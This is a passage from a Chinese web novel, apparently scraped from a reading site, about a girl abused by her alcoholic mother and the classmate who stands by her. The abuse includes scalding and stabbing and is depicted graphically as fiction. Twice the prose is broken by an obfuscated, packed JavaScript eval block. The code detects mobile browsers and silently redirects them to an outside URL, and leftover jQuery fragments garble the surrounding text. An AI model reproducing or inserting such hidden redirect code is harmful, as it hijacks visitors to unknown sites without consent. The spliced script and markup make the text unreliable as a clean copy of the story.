那夜楚遇被绑起来狠抽,起初她还倔强地咬着唇不肯出声,指望母亲打累了就会停手。可那天的邹婷却仿佛不知疲倦,下手也越来越重,直到剧痛击穿了她的忍耐,她才终于像母亲一样,开始歇斯底里地尖叫哭喊。 最后是邻居砸门威胁要报警,才将遍体鳞伤的楚遇从这场酷刑中解救出来。 那一夜让楚遇认清了两件事:第一,母亲的偏执这辈子都不会好了;第二,面对醉酒的妈妈,唯一的办法就是顺从,直到她清醒。 从那天起,楚遇开始害怕回家。每次站在那扇门前,她都要深深呼吸,推开门后还要仔细嗅闻——试图从空气里分辨出,今天的母亲是否又被酒精激发了疯狂。 如今的楚遇已经初二了。有迟昼在身边,她的成绩其实还算不错,目前看来考上高中应该不成问题。可她看不见更远的未来——无论是高中还是大学,都需要钱。 邹婷原本是超市收银员,却因精神状态不稳而屡遭投诉,如今只能在仓库做管理员,收入微薄。楚怀平虽然每月会打来生活费,但都被母亲报复性地挥霍在了酒精和没用的奢侈品上,估计剩不了多少。 她不是没想过偷偷去找父亲要钱。可这个念头刚冒出来就被压了下去——若是被母亲发现,她真的会被活活打死。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352902|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>楚遇知道自己必须赚钱,否则未来将是一片漆黑。但她不知道从何开始,更何况,即便有了钱,就真的能逃离吗?那毕竟......是她的母亲。 一个母亲若想找到女儿,全世界都会成为助力。 这本该是母女之间最为牢固的保险,可在她身上,却好像......成了最为冰冷的枷锁。 邹婷总在醉后哭诉这世上没人真心爱她,即便楚遇一遍遍地否认,她也绝不相信。清醒时,母亲也偶尔会笨拙地示好,可那刻意又生疏的关怀,反而让楚遇无所适从——有时她甚至觉得,还不如直接的打骂来得自在。 可尽管如此,楚遇依然固执地相信妈妈只是病了。 因为在那些难得的清醒时刻,母亲会反复叮嘱她要好好读书,将来远走高飞,甚至对她的晚归和迟昼的存在都睁一只眼闭一只眼,算是无声的默许。只有被酒精掌控时,那个被痛苦和执念扭曲的灵魂才会挣脱理智的束缚,将所有的怨毒尽数倾泻在女儿身上。 在这望不到头的、如履薄冰的日子里,楚遇时常会想——幸好,她还有迟昼。 如果没有他,她可能早就撑不下去了。 ———————————— 楚遇的叙述像一块沉重的巨石,砸碎了迟昼对“家庭”和“爱情”原本就模糊的认知。他张了张嘴,思绪却混乱地缠绕在一起,找不到任何合适的言语。 他生长在一个再普通不过的家庭。虽未见过生母,父亲也疏于关心,但至少从未吃过缺衣少食的苦。童年里所有的迷茫与感伤,更多还是源于情感上的被忽视,却从未真正体会过生活的残酷重量。 他无法理解,为什么会有父母如此对待自己的孩子?更想不明白,两个人若不相爱,为何会走到一起,又为何要孕育生命? 可如果是因为“爱”,又怎会变成楚遇父母这样——彼此憎恨,连带着将孩子也视若敝履? 他在自己贫瘠的人生经验里找不到答案,但却清楚地知道一件事:楚遇的妈妈做得不对。 迟昼说不出“要活出自己”这样的大道理,心里只有一个朴素的念头——希望楚遇能摆脱这一切,获得真正的自由。 可他能做什么呢?若不是楚遇,他自己都还是那个被人欺负的“笤帚”。 一个不相关的念头忽然闪过:楚遇其实是会做饭的。在那样的环境里长大,不会做饭早就饿死了。那么那天煮饺子时,她静静旁观,宁愿喝那碗破皮露馅的片汤,也要看着他手忙脚乱...... 可这个疑问只存在了一瞬,便被眼前的沉重压了下去——现在显然不是追问这种小事的时候。 “今天......对不起啊。”楚遇用力抹了把脸,深吸一口气,甚至重新扯出了个笑容,声音又轻快起来:“吓到你了吧?以后......你别来我家了。不然,她还会针对你的。” 迟昼叹了口气,点了点头,心想那杯水大概是永远喝不成了。他犹豫着问:“那你......打算怎么办?” 楚遇仰面躺在草地上,望着星空:“什么怎么办?过一天算一天呗,她......毕竟是我妈妈。” 迟昼眉头紧锁,苦思冥想了半天,才犹豫地、小心翼翼地提议:“要不......呃,你去跟警察说说?” 楚遇愣了一下,随即苦笑:“说什么?说我妈虐待我?我爸已经不要我了,要是再把我妈告了,我不就成孤儿了吗?” 迟昼哑口无言。 夜风吹过河岸,两人陷入了沉默。这个话题对他们来说,实在太过沉重,也太过无解。 寂静在两人之间流淌了片刻,楚遇忽然轻声开口,声音里带上了不容置疑的倔强:“我偏不要如她的意。她总觉得我将来会像她一样,没人爱,也不会爱人,只能孤零零地过一辈子。虽然她清醒时总是道歉,但我看得出来——她是打心底里认定,这就是我的命。” 迟昼喉头哽咽。任何安慰在此刻都显得苍白,他只能将沉默化作无声的陪伴。 楚遇仰起头,望向墨色的天幕,仿佛在对着星辰立誓:“我不信命,也绝不当孤儿,更不要去孤儿院。她就是那里出来的,我要从根源上就和她走不同的路。”她的声音忽然又低了下去,带着一丝不易察觉的惘然:“可那是我妈妈......这世上,又有谁会站在我这边呢。” 说到这里,她忽然侧过头,目光落在迟昼脸上,唇角漾开一个极其柔软的弧度:“除了你。” 望着她那映着微光的笑容,迟昼眼眶一热,重重地点头。 楚遇重新望向苍穹,良久后,忽然用一种斩钉截铁的语气宣告:“我要做给她看,做给所有人看——我就是能把这所谓的‘命’彻底扭转。就算现在没人牵挂在意,将来我也一定要和相爱的人建立一个温暖的家。那个人,也永远不会像她说的那样,背弃我、离开我。” 迟昼躺在她身旁,听着她掷地有声的话语,胸中渐渐被一种滚烫的情绪充盈。他缓缓伸出手,坚定地握住了楚遇冰凉的手掌,用同样不容置疑的声音回应:“一定会的。” 两双尚且稚嫩的手在夜色之中紧紧交握。他们并肩躺在河堤上,目光投向那片吞噬了星辰的、密不透风的黑暗。 时间在寂静中缓慢流淌。许久,迟昼微微侧过头,在昏暗光线下凝视着楚遇模糊的轮廓。他犹豫着,呼吸都放轻了,最后像是下定了某种决心,小心翼翼地凑过去,将自己的脸颊贴上了她的。 这个触碰很轻,却带着沉甸甸的分量。没有任何多余的言语,也不掺杂丝毫的欲念。 楚遇闭上眼,感受着那份来自另一个生命的温度,没有躲闪。 微微亮起的天光打断了二人片刻的依偎,漆黑的河面忽然被镀上了一层流动的银辉。迟昼回过神,支起身,语气带着几分仓促:“啊......你看,月亮出来了。” 方才还被厚重云层遮蔽的天空,此刻竟跃出了一轮硕大的圆月。清辉所至,阴霾仿佛不堪一击,迅速溃散、节节败退。 月华如水、清辉如瀑,照亮了蜿蜒的河堤,照亮了他们周身的一方天地,也驱散了迟昼心头的迷雾。 望着月色,方才的尴尬仿佛远去了。迟昼忽然觉得,即便来路如此艰辛,希望也从未离去。他们很快就能长大——从三年级到初二,那么漫长的时光,不也是眨眼而逝?只要再经历一次这样的轮回,他们就能成年,就能像真正的大人一样,亲手握住自己的人生。 楚遇仍然没动,只是掀起眼帘,同样凝望着那轮明月,眸中倒映出清冷的光辉。半晌,她才幽幽地、带着某种深长的期盼,轻轻附和:“是啊。月亮......出来了。” ———————————— 那晚的最后,楚遇还是回去了。可第二天清晨,迟昼在她家门口等了又等,那扇门却始终紧闭,不见她的身影。 时间一分一秒流逝,迟昼的心越来越沉。昨夜邹婷那癫狂的模样历历在目,他生怕楚遇出了什么意外。一直等到第一节课上课的时间,他再也按捺不住,想要上前敲门,脚步却像灌了铅——他又想起楚遇昨晚的叮嘱,怕自己的出现反而会给她带来更大的麻烦。 进去,可能刺激到邹婷;不进去,又无法确认楚遇的安危。他像热锅上的蚂蚁,在原地进退维谷。 就在这时,一个意外的声音忽然打断了他的煎熬:“小昼?你怎么还在这儿?” 蔡雨诧异地站在不远处。她本已到了厂里,因临时需要去镇上取份材料,便顺路折返,却没想撞见了本该坐在教室里的迟昼。 迟昼被吓了一跳,支支吾吾地解释:“我......我在等人。”话音未落,他已慌忙跨上自行车,头也不回地朝着学校方向猛蹬而去,留下一个仓促的背影。 蔡雨疑惑地看了看天色,日头早已高升,这个时间还在等谁?是那个常来家里的姑娘吗?可他们同级,那女孩按理也该去上学了。 她心里掠过一丝不解,但取材料的任务紧迫,便也顾不得深究——反正迟昼成绩优异,也从来没做过什么出格的事,大概......不会有什么事吧。 这个念头轻轻落下,并未在蔡雨心里留下太多痕迹。 21. 贰拾壹 事实上,迟昼的预感并没有错——楚遇那晚,确实险些遭遇不测。 那夜她拖着沉重的脚步回到家,发现门虚掩着,心就沉了下去——那是明显特意留的门,像是一种无声的愤怒,更是一个不祥的预兆。她屏住呼吸,抱着一丝侥幸溜进屋内,暗自祈祷母亲已醉得不省人事。 然而刚一踏入客厅,楚遇的血液几乎瞬间冻结。 邹婷像一尊雕像般盘踞在沙发中央,在昏暗的光线下,一双眼睛死死地钉在门口,仿佛已经等待多时。那眼神浑浊,布满血丝,深处却燃烧着一种冰冷的、偏执的幽光。 这场景与童年那个绝望的两天一夜骤然重叠——那时她也是这样不吃不喝地固守在客厅,死等那个没拉住的人。童年的噩梦在此刻复现,让楚遇开始呼吸困难。 即便邹婷尚未有任何动作,楚遇也能感到山雨欲来。迟昼拉着她逃跑的行为,无疑碾碎了母亲那本就脆弱至极的神经。 楚遇颤抖着向前几步,扑通一声跪倒在地,语无伦次地认错:“妈,对不起,对不起......我不该跑的......我就是......就是太害怕了......” 邹婷却依旧没有发作,只是缓缓向前倾身,将脸凑到女儿面前,几乎贴上楚遇,开口时声音竟异常轻柔。 “害怕啊......”她歪了歪头,瞳孔在灯光下收缩成诡异的点,“那小遇告诉妈妈,你在怕什么呢?” 那黏腻的嗓音混合着浓重的酒气,让楚遇不寒而栗。她浑身僵硬,嘴唇哆嗦着:“我......我......” 邹婷突然抬手,冰冷的手指像铁钳般捏住女儿的脸颊,力道逐渐收紧,仿佛要掐下一块肉来。与此同时,她的嘴角竟缓缓向上咧开,扯出了一个露出过多牙龈的、不符合表情肌理的扭曲笑容: “你在......害怕妈妈?” 脸上的剧痛与这极端反常的景象击溃了楚遇的理智。她尖叫一声,猛地向后挣脱,脑子里只剩下一个清晰的认知——眼前的这个人,此时此刻,已经彻底疯了。 楚遇挣脱的动作如同引信,瞬间点燃了邹婷积压的暴戾。那层扭曲的温柔假面寸寸龟裂,露出了其下狰狞的本相。 邹婷抬手就是一记狠辣的耳光,直接将楚遇扇倒在地。不等楚遇反应,她便如失控的野兽般欺身而上,将女儿死死压在身下,左右开弓,巴掌伴着尖利的咒骂如雨点般落下:“你敢跟那小子跑——你怎么敢——你怎么敢——啊!我打死你!!” 楚遇双颊已痛到麻木,只剩下嗡嗡的耳鸣和天旋地转的眩晕,像暴风雨中被肆意抛掷的小船。 又一记重击让她本能地挣扎起来。十四岁的身体已有了些许力量,不再像幼时那样全然任人宰割。她护住头脸,用尽全身力气扭动挣扎,竟将本就醉酒失衡的邹婷猛地从身上掀翻下去。 身上一轻,楚遇如同抓住了救命稻草,再顾不上任何后果,手脚并用地爬起来就向门口跑。她不知道能去哪里,只求暂时远离身后的深渊。 被掀翻在地的邹婷有一瞬的怔愣,似乎无法相信女儿竟敢反抗。片刻后错愕瞬间被滔天的愤怒吞没,血液轰然冲上头顶,□□如破旧风箱,视野都阵阵发黑,心中只剩下一个癫狂的念头——她也要跑!她也要背叛!和那个人一样!和那个家一样! 偏激的认知仿佛赋予了邹婷无穷的力量。她发出一声凄厉的哀嚎,猛地爬起,眼见楚遇已冲到客厅门口,想也没想便抓起茶几上的电热水壶——里面还有小半壶之前烧开尚未倒出的开水——用尽全力砸了过去! “你敢走——!” “砰!” 楚遇只觉后背遭到重击,整个人向前扑倒。正要挣扎爬起,却感觉后腰处迅速蔓开一片滚烫的湿濡,灼热的痛感瞬间刺穿神经,让她发出凄惨的尖叫。她反手去摸,却被那高温烫得猛地缩手。泪眼模糊中,她看到地上倾覆的电水壶和蔓延的水渍,才明白发生了什么。 湿透的衣料紧贴皮肤,每一秒都在加剧的痛苦让她暂时失去了逃跑的能力,只能徒劳地瘫坐着,试图掀开黏在伤处的衣物。 趁此间隙,邹婷已摇摇晃晃地逼近,一把揪住楚遇的衣领,发狠地将她往墙上撞去,脸上是毁灭一切的恨意:“跑啊!再跑啊!看我不断了你的腿!!” 背部反复撞击坚硬的墙面,楚遇觉得五脏六腑都错了位。在又一轮撞击的间隙,本能促使着她最后一搏,爆出了前所未有的力量,猛地将母亲推开:“啊——!!” 邹婷被这突如其来的力量猛地推开,四仰八叉地摔倒在茶几旁,发髻也彻底散开,凌乱的黑发遮住了她半张脸。她忽然发出一阵癫狂的大笑,猛地转过头,透过发丝的缝隙死死盯住楚遇。那双布满血丝的眼睛瞪得滚圆,在惨白的脸上显得格外骇人,活像从地狱爬出的索命厉鬼。 “哈哈哈哈......能跟你妈动手了啊!长能耐了!”她嘶哑地笑着,声音扭曲,“那个小杂种教的?还是你那死人爹撺掇的?!啊?!说啊!说啊!!” 楚遇被母亲这副完全陌生的狰狞模样彻底震慑,僵在原地,连呼吸都忘了。 邹婷在混沌中伸手在茶几上一阵乱摸,抓住了一个细长的硬物,醉眼昏花间也懒得看清那是什么,只是紧紧攥住,仿佛握着一把匕首。此刻在她眼中,对面的已不再是女儿,而是什么不共戴天的仇敌。 她狞笑着再次扑来,将手中的东西朝着楚遇狠狠挥去。 楚遇本能地向后闪躲,却未能完全避开。 原本肿胀麻木的脸颊忽然失去了对痛觉的屏蔽,眼角瞬间传来尖锐的刺痛,仿佛被冰锥骤然刺穿。眼前的景象开始闪烁,明灭不定,仿佛客厅的灯泡忽然接触不良。 她再次奋力推开母亲,颤抖的手摸向剧痛的源头,触到一片温热的黏腻。她惊恐地缩回手,却在昏眩的视野和阵阵头痛中无法看清,只能再将手指凑到鼻尖——一股浓重的铁锈味直冲鼻腔。 血。 此刻楚遇才终于意识到,忽明忽暗的不是家里的灯,而是自己的视线。 致盲的恐惧如冰水浇头,瞬间浇灭了楚遇所有的反抗念头。眼见母亲再次逼近,她彻底崩溃,像小时候那次一样蜷起身子,用头绝望地撞向地面,尖叫哭喊:“妈!妈!是我啊!我眼睛好疼,看不见了......妈......呜呜......” 可这次,凄厉的哭喊也未能唤回邹婷的理智。她依然挂着那抹僵硬诡异的笑,步步紧逼。 千钧一发之际,邹婷忽然踩到了什么,脚下一个趔趄,重重摔倒在地——是方才洒落的满地水渍。这一跤摔得狠了,仿佛一下震散了笼罩她的迷雾,竟将她的神智唤回了几分。 她茫然坐起,眼神涣散地环顾四周:狼藉的客厅、翻倒的茶几、自己手中沾血的笔......最后,目光定格在墙角那个瑟瑟发抖的身影上。 脑子终于开始转动,清明也随之回归。 她连滚爬爬地扑过去,将女儿紧紧搂进怀里,颤抖的手指抚上那片眼角,声音支离破碎,语无伦次:“怎、怎么了?眼睛怎么了?看着妈妈......还能看见吗?” 听着母亲熟悉的哭腔,楚遇知道那个疯狂的怪物终于离开了。她浑身一软,劫后余生的泪水决堤而出,回抱住母亲失声痛哭:“妈......我疼......好疼啊......妈......” 邹婷混沌的脑子终于将眼前的惨状与自己的行为联系起来,无尽的悔恨涌上,彻底淹没了她。她紧紧抱着女儿,泪如雨下:“小遇乖,不哭,不哭了......妈对不起你......妈该死啊......妈该死......” 这个惊心动魄的夜晚,在两人身上都刻下了无法磨灭的印记。 对楚遇而言,后腰的烫伤因处理不及时,留下了一片浅于周围肤色的瘢痕,像是某种藓,看着瘆得慌。视力虽然幸运地没有受损,但眼角下方却永久地留了痕——墨水随着笔尖的穿刺渗入了肌肤,即便假以时日,也仍不会褪色,只会变成那种特殊的、挂在眼角边的棕。 对邹婷而言,这次的失控让她第一次清晰地认识了自己的疯狂。为了避免对女儿造成无法挽回的损伤,她尝试过戒酒,却在生理与心理的双重依赖下迅速败下阵来,最终,也只能流着泪对女儿妥协——允许楚遇自由外出,但一定要记得回家;并反复叮嘱,只要嗅到酒气,务必远远躲开,直到她自行清醒。 ———————————— 那场血腥的冲突之后,楚遇的生活获得了些许喘息的空间,却依然如同惊弓之鸟,在无形的恐惧中度日。能依靠的,始终也只有迟昼沉默而坚定的陪伴。 时光流转,转眼又开了学。十五岁的楚遇已悄然出落成亭亭玉立的少女,虽然永远是简单的黑发马尾、素面朝天,但柔和的五官轮廓,加上眉眼间那抹挥之不去的冷淡与轻愁,在荷尔蒙躁动的年纪里,便像一株安静而独特的花,逐渐吸引了越来越多男生的目光。 与此同时,迟昼也终于开始拔节生长。从初一那个暑假起,他仿佛一夜之间抽条,个头猛蹿。天天见面的楚遇甚至都能大致感知到他的变化,几乎是一天一个样。等到开学时,他已经稳稳地高出了楚遇一头。 实话实说,男孩只有当个头不再矮小时,才会开始被人留意容貌。迟昼面相偏于阴柔,但因年岁尚轻,因此并不显得阴鸷,反而沉淀成一种少年独有的清秀。加之他的成绩始终名列前茅,周围的目光便渐渐从排斥转为了接纳,甚至带上了一丝欣赏。 不知不觉间,迟昼和楚遇,从众人口中“一对孤僻的怪胎”悄然变成了“一对登对的少年”。 邹婷的身体在酒精的麻痹下开始快速衰败,对楚遇的管控也早已不复曾经的变态严苛,但这并非出于理性的尊重,更像是一种心灰意冷、无可奈何后的彻底散养。她不再拘着楚遇,却也几乎不再管她,有时甚至连一口热饭都忘了留。 起初,楚遇还会应迟昼和蔡雨的邀请,在他们家解决晚饭。但时间一长,即便迟安和蔡雨不说什么,楚遇自己也无法继续接受这份施舍。为了挣点钱,她便不知托了什么关系,在学校门口的小卖部找了一份“工作”。 小卖部的老板是个和气的跛脚,搬重物时经常力不从心。每次进货,楚遇都会去帮忙卸货、搬箱子,有时候直接在店里写作业,顺带着看店、收银。 但她毕竟未到法定年龄,因此干的再多,也只能换来点饭钱,可以留在手里作为积蓄的始终少之又少。 那时体重仅七十多斤的楚遇,很快就能独自卸完一整车的货,纤细的手掌会被粗糙的纸箱边缘勒出深深的红痕,指甲也常常劈裂,可她没有时间在乎。 学校里很快就传开了她在小卖部打工的消息,起初不乏嘲讽与笑话,但时间久了,那些轻蔑反而化为了敬佩。加之她容貌出众,便逐渐开始有男生怀着各种心思主动前来帮忙——有的仅是体验生活的新奇,有的则带着一丝轻佻的戏弄。 不论目的是什么,这些援手都是偶尔的、随性的。只有迟昼,像当年自然而然地接过她手中的扫把一样,几乎每次都在。 每次大汗淋漓地搬完货,老板总会塞给他们一人一瓶冰镇汽水,一根老冰棍,算是消暑。两人便推着自行车,顶着湿漉漉的头发,一边舔着冰棍,一边笑话彼此满身的黏腻与汗味,最终踩着夕阳踏上回家的路。 邹婷的失控依然如定时炸弹,隔三差五便会爆发。楚遇也渐渐摸出了规律,若能在母亲失智初期就及时察觉并逃离,尚能幸免;可一旦反应稍慢,便会在客厅口被逮住,难逃一顿毒打。 后来楚遇想出了更稳妥的办法。她偷偷找来工人,拆掉了自己卧室窗外的护栏,改成给窗户装了把锁。平日里锁得严实,一旦察觉母亲状态不对,她便迅速躲进小屋,开锁翻窗,去找迟昼。这样就能绕开客厅,也大大减少了与母亲的正面冲突。 她还多配了一把钥匙交给迟昼,当时扯着嘴角,故作轻松地戏称它为“保险”,免得自己的钥匙丢了开不了窗。 迟昼却沉默了许久,最终才郑重地将钥匙收进贴身口袋。对他而言,这轻飘飘的金属片,承载的是楚遇毫无保留的信任。 自那以后,每当楚遇在约定时间莫名消失,迟昼总会不自觉地绕到她窗外张望。尽管大多时候她其实只是被家务琐事绊住——毕竟若真有事,她自己会跑出来——但他仍固执地一次次前去确认,仿佛在履行某个从未出口的诺言。 步入初三后,楚遇的成绩开始明显下滑。迟昼心急如焚,每天催着她学习,那劲头比大部分备考的同学还足。 但其实他心里清楚,楚遇的世界里,有远比课本更沉重的东西——要给神志不清的母亲做饭,要收拾一片狼藉的屋子,要去小卖部搬货换取微薄的积蓄......她注定无法像他一样,心无旁骛地埋首题海。 以前课业轻松时尚能应付,可到了初三需要大量刷题,时间便成了最奢侈的东西。 迟昼当然知道楚遇的难处,却固执地认为读书是唯一的出路,于是催促得越发急切。然而现实却适得其反——他越逼得紧,楚遇就越难以集中精神。她知道迟昼的好意,从不抱怨什么,只是学习效率肉眼可见地降低,人也越发沉默,仿佛在为辜负了他的苦心而内疚。 直到又一次模拟考,看到楚遇不升反降的成绩单,迟昼才终于醒悟——问题的根源从来不是努力与否,而是她那颗被现实紧紧缠绕、无处安放的心。 可他能做什么呢?他只能笨拙地讲解习题,却无法为她卸下肩头沉重的枷锁。 迟昼懊恼地想,三年级时,楚遇就能轻而易举地拯救他晦暗的世界;可如今已是初三,他却依然无法为她带来任何实质的改变。 这种无力感像潮水般将他淹没。他握紧了口袋里的那把钥匙——此刻它变得异常沉重,仿佛他愧疚的心。 一天放学,迟昼的自行车链条突然脱落。他只好推着车,默默跟在楚遇身后。 夕阳把两个人的影子拉得很长。他望着前面那个纤细的背影,恍惚间又回到了初识的那个黄昏,一时间有些出神。 楚遇察觉到他异常的沉默,回过头来,正对上他怔怔的目光。 “我想明白了。”迟昼忽然郑重其事地说。 楚遇失笑:“想明白晚上吃什么了?” 迟昼没笑,依旧板着脸,眼神里带着几分不情愿,但还是认真地说:“我不会再逼着你学习了。我知道......你已经尽力了。” 一阵微风吹过,卷起路边的落叶。两人陷入短暂的沉默,又开始一前一后地往前走。 “等你上了高中,”楚遇忽然轻声开口,带着一丝不易察觉的颤抖:“还会理我吗?” 迟昼的回答不假思索:“当然啊。” 楚遇笑了笑,却轻轻摇头:“我不信。” “真的会的!”迟昼急急地追上前,恨不得举手发誓,却因扶着自行车而手忙脚乱:“我跟你保证!” 楚遇停下脚步,唇边的笑意未褪,声音却轻得像叹息:“我妈说,当初我爸也保证会照顾我们。” 迟昼一时语塞。这个话题像一根刺,永远横亘在他们之间。 但下一秒,他的反应却是莫名的欣喜——因为他奇怪地捕捉到了这个类比中体现出的,楚遇对于他们关系的定义。 这个发现让他忘记了此刻沉重的氛围,竟不自觉地呵呵傻笑起来。 楚遇原本还有些伤感,却被他这傻笑逗得破功,也不再提沉重的话题,转而嗔怪道:“相信你,还不如相信我自己就能考上高中呢。” 迟昼又傻笑了两声,才突然反应过来她的言外之意,眼睛一下子亮了:“你还愿意考?” “当然愿意了,”楚遇翻了个白眼,嘴角却悄悄扬起,“是你讲课太无聊了好吧,迟老师。” “我改、我改,我肯定改......”迟昼欣喜若狂,忙不迭地点头。 但其实也没改多少——一个中学生,能把题目讲清楚已是不易,哪能真的一下掌握什么高超的教学方法。但自那天起,楚遇却真的开始拼命了,没时间她就硬挤,每天只睡三四个小时也要写完卷子,后来甚至吃着饭都会打瞌睡。 备考生活里最让迟昼难忘的,是一个暴雨倾盆的下午。 那天学校因停电提前放学,两人便开始往家走,仅有的一把伞却在刚出校门时就被狂风吹翻了面。他们只好躲在一家店铺窄窄的屋檐下,肩并肩坐在台阶上,借着昏暗的天光背书。 漫天风雨中,整个世界仿佛只剩了他们两人,依偎着缩在这小小的角落里。 迟昼望着眼前白茫茫的雨幕,听着身边轻柔却坚定的诵读声,心里忽然涌起一个清晰的、带着渴望的念头—— 还有三年。他们,就快熬出头了。 ———————————— 然而努力并不总能换来理想的结果。中考放榜,楚遇的分数虽然够上高中,却还是比迟昼低了一截。当地高中的选择本就有限,而这个分差,意味着他们无法进入同一所学校。 迟昼毫不犹豫地选择了楚遇能去的那所普通高中。 这个决定让迟安勃然大怒。他抡起皮带狠狠抽在这个没怎么管过的儿子身上,自认为在打醒他:“你知不知道自己在做什么?为个姑娘自毁前程!” 可这次,一向随波逐流的迟昼却像下了锚的船,任凭父亲打骂、继母叹息,始终紧抿着唇,倔强地不肯改口。 迟安最终精疲力尽。他虽不多过问家事,却也知道楚遇那孩子的处境不易,也做不出上门闹事的举动——他自认是个体面人。可正是这份体面,让他格外愤怒于儿子的选择。 因为这固执的模样,清晰地勾起了他对迟昼生母当年私奔的回忆。 “遗传,都是遗传......”迟安恨恨地抽着烟,苦涩地想,“大的为了私情抛夫弃子,小的为了相好不顾前程,这他妈叫什么事!” 蔡雨在一旁干着急,却插不上话。继母的身份让她缺乏管教迟昼的立场,更何况她深知与这孩子间的隔阂。一直以来,她一贯的原则是只要不走歪路便好,至于去重点还是普高,于她而言其实并无分别。 这场僵局最终被楚遇的来访打破。 她用打工攒下的钱买了些水果,怯生生地站在客厅口,对着迟安深深鞠躬:“叔叔,对不起,都怪我没考好......”她的声音渐渐哽咽,“我也想和阿昼考得一样好,可是我太笨了......他知道我在学校没什么朋友,怕我上了高中被欺负,才提出和我一起的......都怪我......” 站在一旁的迟昼其实有些讶异——一来,若楚遇愿意,她绝不会缺少朋友,反倒是他自己,才是真正孤僻那个。二来,楚遇这副泫然欲泣的脆弱摸样,上次见......还是在那个河堤。 迟安看着那袋水果,接也不是,不接也不是,面前少女梨花带雨的自责模样,更是让他无所适从。他自知对迟昼疏于关心,也明白他能健康长大、成绩优异,眼前这姑娘功不可没。如今人家把姿态放得这么低,儿子又铁了心,他还能说什么? 迟昼适时开口,趁热打铁:“爸,这是我自己的决定,不怪楚遇。”他认真地保证:“而且那所学校也不差多少,我在里面能接着当第一,有了信心,不会影响考大学的。” 听到这话,迟安脸色稍霁。他重新审视着并肩而立的两个少年人——眼神恳切、姿态坚定,活像一对即将被拆散的苦命鸳鸯。 他长叹一声,终于松了口。毕竟谁都年轻过,他自认懂得少年人的那点心思。 高中开学后,十六岁的迟昼几乎将全部精力投入学习。他夜以继日,成绩稳居年级前三,分数丝毫不逊于当时放弃的那所重点高中的学生。 他心底清楚,这份动力依旧源于楚遇。这不仅是为了能继续名正言顺地待在她身边辅导功课,更是想向他人证明——楚遇为他的人生带来的从不是拖累,而是向上的、光明的力量。 而十五岁的楚遇,如同一块历经淬炼的璞玉,出落得愈发夺目,甚至开始被同学私下里称作班花。开学不到一学期,便有男同学按捺不住,开始在她面前“不经意”地展示自己幼稚的成熟,拙劣地模仿想象中的帅气,期盼能换来她的一丝青睐。 可楚遇永远都是那副冷清模样,用淡漠疏离的目光静静看着对方,连一个客套的微笑都吝于给予。 升入高中,原先在小卖部的零工便也无法继续,但楚遇很快又在镇上的一家小餐馆找到了新活计——每晚清洗堆积如山的锅碗瓢盆。纤细的手臂在油污中反复浸渍,渐渐地攒下了一些钱,被她小心翼翼地藏在铁盒里,从不敢乱花,最大的奢侈也不过是给自己买一枚廉价的塑料发卡,别住那头浓密微硬的长发。 看着忙碌的楚遇,迟昼时常会生出一种无力感。他已拼尽全力地追赶,可楚遇却总是走在前面,更早地触摸到生活的粗粝轮廓,更早地将稚嫩剥离,更早地成熟,更早地坚韧。 仿佛不管他如何努力,她都永远比他更先一步,成为一个......大人。 一个周末,楚遇说好只上中午班,迟昼便骑着车去接她,打算下午一起去书店看书。 到的时候楚遇还在店里忙着,他便没进去打扰,支好车坐在外面的台阶上等。 午后的阳光白晃晃的。他眯起眼,看楚遇在桌椅和人群间穿梭。 此时的楚遇,和他平时见到的那个安静、甚至有些疏离的少女判若两人。她脸上挂着恰到好处的微笑,声音清亮地应和着客人的催促,手脚麻利地收拾着狼藉的杯盘。面对挑剔的抱怨,她三言两语便能化解;偶尔有熟客开玩笑,她也能机灵地接上几句,引得对方哈哈大笑。连一向严肃的老板,看向她的目光里都带着显而易见的宽容。 迟昼静静地看着。 她太聪明了。像一株柔韧的藤蔓,懂得如何在不同环境的缝隙里找到阳光,懂得如何用最省力的方式解决问题,更懂得如何不着痕迹地赢得他人的怜爱。 可他知道,这游刃有余的背后,是早早被生活磨砺出的警觉与妥帖。 他垂下头,没有再看。 好不容易送走最后一波客人,楚遇几乎是立刻就从店里冲了出来。午后的繁忙在她脸上留下了明显的痕迹,几缕发丝被汗水黏在额角,一种完成了任务的轻松和即将奔赴约定的雀跃和谐地交织在她身上。 “走吧!”她跑到他面前,气息还有些微喘。 迟昼站起身,温和地笑了笑,没有立刻去推车,而是从自己洗得发白的帆布书包里,小心翼翼地掏出一个东西,递到她面前:“送你的。” 楚遇接过,低头端详片刻,眼睛倏地亮了:“相宜本草?护手霜?” 她像个得到了新奇玩具的孩子,将那支小小的护手霜在手里翻来覆去地看,指尖小心翼翼抚过上面的字样。 迟昼跨上车,脸上的笑容再也压不住:“当然啦。” 那时候,这东西在学生间还算个新鲜玩意儿,是少数家境不错的女同学才拥有的“奢侈品”。为了它,迟昼默默攒了许久零花钱,才终于骑车到便利店,在货架前徘徊了很久,结账时更是心跳如擂鼓,生怕被人看见,又按捺不住满心的期待。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352903|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 学校里那些同学用它,或许是为了追赶时髦,或许是为了无谓的攀比,但他买它,只因楚遇需要。她的手因为长期泡在洗洁精和油污里,指节已经泛红,甚至隐隐有了干裂的迹象。 去书店的路上,楚遇坐在他自行车后座,手里依旧紧紧攥着那支护手霜。一下午她都把它放在身边,时不时拿起来轻轻抚摸,嘴角噙着若有若无的浅笑,却始终舍不得拧开用它。 